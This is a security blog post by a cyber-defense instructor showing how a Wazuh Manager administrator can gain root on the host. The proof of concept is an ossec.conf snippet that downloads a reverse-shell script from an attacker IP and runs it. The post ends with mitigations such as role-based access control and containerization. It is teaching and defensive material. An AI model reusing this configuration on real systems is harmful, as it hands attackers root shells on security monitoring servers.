Skip to main content

XDR, Features or Vulnerabilities?

· 4 min read
Devin Paden

image-20230103082943137

Background​

This blog entry describes a recent experience I had when diving down a security rabbit hole with Wazuh when I really should have been grading during Finals week. I've been experimenting with different XDR/SIEM platforms for the last several semesters in my Enterprise Security Controls class. We've worked with Splunk, Graylog, Traditional RSyslog and as of late, Wazuh. Wazuh has also been a part of recent Northeast Collegiate Cyber Defense Competitions.

The upshot of my experience is that in the case of Wazuh Manager, you really need to treat and protect it just as you would a Windows Domain Controller. Out of the box, Wazuh has some security settings that gives the default Wazuh web application administrator the ability to execute code as root on the underlying host.

This may not sound too troubling, however it does violate everything I've learned about role separation. Should your XDR admin be able to leverage the application to become root on the underlying host operating system? Additionally, if you use Wazuh's shared configuration for agents and enable that setting on agent systems, do you want that same Wazuh administrator to be able to execute privileged commands on any agent system?

After communicating my findings with Wazuh (don't count your CVE's before they have hatched), it seems that this is a well understood and inherent part of the product and that mitigations in the form of role based access control (RBAC) should also be applied if you plan to use the product outside of an evaluation setting. The ease of installation masks the responsibilities an organization needs to take to further secure wazuh from the sort of hackery I'm about to discuss here. Role Based Access Control (RBAC) requires a good deal of thought.

The proof of concept discussed here will very likely become a pentest target in the Champlain Ethical Hacking Range and might make a great foothold into a domain takeover.

Proof of Concept​

Here's a very brief proof of concept that does not include agent takeover, mainly because that would require changes to the default configuration.

  • Install Wazuh using the Wazuh installation assistant (you should really look at these installer scripts before you pipe curl to sudo. At the time of this blog entry, the current version of Wazuh is 4.3.10

    image-20230101082509310

    image-20230101093922823

  • For this proof of concept we will have

    • 1 Ubuntu 22.04 Server running the latest version of Wazuh 4.3.10
    • 1 Kali Attacker

Getting Root on the Wazuh Server​

Preconditions​

You have the default Wazuh Manager's Administrator login whose strong password is printed to console during installation. Alternatively, you have the credentials for a user in the Wazuh Administrator's group.

image-20230101084059116

Note, these credentials are also cached in the wazuh-install-files.tar archive, make sure to delete this file from the host.

image-20230101084621014

ossec.conf and <localfile>​

The localfile or wodle configuration commands allow raw OS commands to be executed and can be abused to run malicious commands.

The two XML configuration items added to the Wazuh Manager's ossec.conf download a bash reverse shell script from the attacker (10.0.99.100) and then executes it. The attacker receives a root reverse shell. This two step process is being used because the xml validator for ossec.conf did not like the bash reverse shell syntax.

    <!-- GMCYBER HACKERY DOWNLOAD REVERSE SHELL -->
  <localfile>
    <log_format>command</log_format>
    <command>wget http://10.0.99.100:8000/rs.sh</command>
    <frequency>10</frequency>
  </localfile>
  
    <!-- GMCYBER HACKERY EXECUTE REVERSE SHELL -->
  <localfile>
    <log_format>command</log_format>
    <command>bash ./rs.sh</command>
    <frequency>10</frequency>
  </localfile>

image-20230101091114756

Mitigation​

RBAC​

Wazuh does indeed have a rich role based authorization model that I will be looking at during the Spring running of our Enterprise Security Controls class and we will attempt to model and deploy the roles needed in an enterprise SOC. The use of generic credentials like "admin" should be discouraged in favor of named user accounts with assigned roles. Editing ossec.conf, agents.conf and restarting services are should not be available to all logged in users but restricted to those who need to perform these actions.

Containerization​

Running Wazuh within a container would isolate the root exploit shown above to the context of the container.